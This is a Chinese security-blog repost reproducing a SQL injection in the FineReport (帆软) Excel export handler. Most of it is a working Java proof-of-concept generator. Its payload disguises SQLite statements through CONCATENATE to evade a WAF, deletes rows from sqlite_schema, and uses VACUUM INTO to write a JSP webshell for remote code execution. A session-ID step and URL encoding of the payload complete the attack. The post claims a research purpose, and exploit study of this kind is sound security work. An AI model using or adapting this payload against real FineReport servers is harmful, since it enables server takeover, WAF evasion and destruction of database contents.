帆软excelSQL注入漏洞复现

admin 2025-12-29 01:18:16 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文复现帆软报表Excel导出SQL注入漏洞,涉及通过特定接口构造含Formula对象的XMLPayload。作者利用CONCATENATE函数混淆关键字绕过WAF,演示了获取sessionID及生成恶意代码的过程。该漏洞利用SQLite的VACUUMINTO语句写入WebShell实现远程代码执行,文中提供了完整的JavaPOC生成代码及复现步骤。 综合评分: 85 文章分类: 漏洞分析,漏洞POC,WEB安全


cover_image

帆软 excel SQL注入漏洞复现

原创

莫大130

安全逐梦人

2025年12月26日 21:13 云南

安装环境

安装包: https://pan.baidu.com/s/1hGxPKnmaScPf8ypjVDwhwQ?pwd=qt2r

不清楚是不是版本问题,网上给出的利用方法和我本地复现不一样

sessionID 获取

将获取到的sessionID 填入到下面的poc中

生成poc代码

import com.fr.base.Formula;
import com.fr.base.Parameter;
import com.fr.general.xml.GeneralXMLTools;
import com.fr.nx.app.web.handler.export.largeds.bean.LargeDatasetExcelExportJavaScript;
import java.io.UnsupportedEncodingException;
import java.net.URLEncoder;

public class Main {
    public static void main(String[] args) {
        // 1. 构造复杂的混淆 SQL 公式 (针对 SQLite/VACUUM INTO 漏洞利用)
        // 使用 CONCATENATE 拆分敏感关键字绕过 WAF        String sqlPayload = "sql('FRDemo',CONCATENATE(\"pr\",\"agm\",\"a wr\",\"i\",\"t\",\"a\",\"ble\",\"_sch\",\"e\",\"ma=o\",\"n\"),1)" +
                "-sql('FRDemo',CONCATENATE(\"dele\",\"t\",\"e f\",\"r\",\"o\",\"m sq\",\"li\",\"t\",\"e_sc\",\"he\",\"ma w\",\"here\",\" na\",\"m\",\"e!\",\"=\",\"'s\",\"ql\",\"ite\",\"_s\",\"ta\",\"t\",\"1'\"),1)" +
                "-sql('FRDemo',CONCATENATE(\"V\",\"A\",\"C\",\"U\",\"U\",\"M\",\" i\",\"nt\",\"o('\",ENV_HOME,\"/\",\".\",\".\",\"/\",\".\",\"/\",\"pwned\",\".\",\"j\",\"s\",\"p\",\"')\"),1)";

        // 2. 构造参数对象,注意:必须显式使用 Formula 对象
        Parameter p = new Parameter();
&nbsp; &nbsp; &nbsp; &nbsp; p.setName("c");&nbsp;// 对应目标中的 name="c" &nbsp; &nbsp; &nbsp; &nbsp;p.setValue(new Formula(sqlPayload)); // 关键:传入 Formula 对象,XML 才会生成 <O t="Formula">
&nbsp; &nbsp; &nbsp; &nbsp; LargeDatasetExcelExportJavaScript&nbsp;js&nbsp;=&nbsp;new&nbsp;LargeDatasetExcelExportJavaScript();
&nbsp; &nbsp; &nbsp; &nbsp; js.setDsName("1");&nbsp;// 对应目标中的 dsName="1" &nbsp; &nbsp; &nbsp; &nbsp;js.setParameters(new Parameter[]{p});

&nbsp; &nbsp; &nbsp; &nbsp; String&nbsp;rawXml&nbsp;=&nbsp;GeneralXMLTools.writeXMLableAsString(js);

&nbsp; &nbsp; &nbsp; &nbsp; String&nbsp;finalXml&nbsp;=&nbsp;wrapInPd(rawXml);

&nbsp; &nbsp; &nbsp; &nbsp; System.out.println("--- 原始 Payload ---");
&nbsp; &nbsp; &nbsp; &nbsp; System.out.println(finalXml);
&nbsp; &nbsp; &nbsp; &nbsp; System.out.println("\n--- URL 编码后的 Params ---");
&nbsp; &nbsp; &nbsp; &nbsp; System.out.println(urlEncode(finalXml));
&nbsp; &nbsp; }

&nbsp; &nbsp; private&nbsp;static&nbsp;String&nbsp;wrapInPd(String xml)&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; // 移除 XML 头部声明
&nbsp; &nbsp; &nbsp; &nbsp; String&nbsp;content&nbsp;=&nbsp;xml.replaceFirst("<\\?xml.*?\\?>",&nbsp;"").trim();
&nbsp; &nbsp; &nbsp; &nbsp; // 移除 SDK 自动添加的类路径属性,使其变精简
&nbsp; &nbsp; &nbsp; &nbsp; content = content.replaceAll("class=\".*?\"",&nbsp;"");
&nbsp; &nbsp; &nbsp; &nbsp; content = content.replaceAll("xmlVersion=\".*?\"",&nbsp;"");
&nbsp; &nbsp; &nbsp; &nbsp; // 包装 pd 标签
&nbsp; &nbsp; &nbsp; &nbsp; return&nbsp;"<pd>\n "&nbsp;+ content +&nbsp;"\n</pd>";
&nbsp; &nbsp; }

&nbsp; &nbsp; public&nbsp;static&nbsp;String&nbsp;urlEncode(String str)&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; try&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return&nbsp;URLEncoder.encode(str,&nbsp;"UTF-8");
&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp;catch&nbsp;(UnsupportedEncodingException e) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return&nbsp;str;
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; }

}

漏洞复现

参考

  • • https://mp.weixin.qq.com/s/K9VVCM5ndDlZxIW86CQ_OQ?scene=1&click_id=3

免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:安全逐梦人 莫大130《帆软 excel SQL注入漏洞复现》

评论:0   参与:  0